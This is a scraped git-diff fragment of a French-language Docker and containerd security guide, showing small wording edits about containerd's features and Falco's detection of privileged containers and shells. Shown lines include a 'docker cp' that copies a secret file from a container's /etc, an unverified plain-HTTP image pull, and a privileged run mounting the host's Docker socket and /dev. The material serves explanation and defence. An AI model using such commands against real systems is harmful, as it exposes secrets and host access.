Bien que **Docker utilise Containerd** pour exécuter des conteneurs, il est important de noter que Containerd ne prend en charge qu'un sous-ensemble des fonctionnalités de Docker. Plus précisément, Containerd manque des capacités de gestion du réseau présentes dans Docker et ne prend pas en charge la création de swarms Docker directement. Cette distinction met en évidence le rôle ciblé de Containerd en tant qu'environnement d'exécution de conteneurs, déléguant des fonctionnalités plus spécialisées aux plateformes avec lesquelles il s'intègre.
|
||||
Bien que **Docker utilise Containerd** pour exécuter des conteneurs, il est important de noter que Containerd ne prend en charge qu'un sous-ensemble des fonctionnalités de Docker. En particulier, Containerd manque des capacités de gestion du réseau présentes dans Docker et ne prend pas en charge la création de swarms Docker directement. Cette distinction met en évidence le rôle ciblé de Containerd en tant qu'environnement d'exécution de conteneurs, déléguant des fonctionnalités plus spécialisées aux plateformes avec lesquelles il s'intègre.
|
||||
```bash
|
||||
#Containerd CLI
|
||||
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
||||
@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
#### Journaliser les activités suspectes
|
||||
|
||||
- Vous pouvez utiliser l'outil [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) pour détecter **un comportement suspect dans les conteneurs en cours d'exécution**.
|
||||
- Notez dans le morceau suivant comment **Falco compile un module noyau et l'insère**. Après cela, il charge les règles et **commence à journaliser les activités suspectes**. Dans ce cas, il a détecté 2 conteneurs privilégiés démarrés, 1 d'entre eux avec un montage sensible, et après quelques secondes, il a détecté comment un shell a été ouvert à l'intérieur de l'un des conteneurs.
|
||||
- Notez dans le morceau suivant comment **Falco compile un module noyau et l'insère**. Après cela, il charge les règles et **commence à journaliser les activités suspectes**. Dans ce cas, il a détecté 2 conteneurs privilégiés démarrés, 1 d'eux avec un montage sensible, et après quelques secondes, il a détecté comment un shell a été ouvert à l'intérieur de l'un des conteneurs.
|
||||
```bash
|
||||
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
||||
* Setting up /usr/src links from host
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user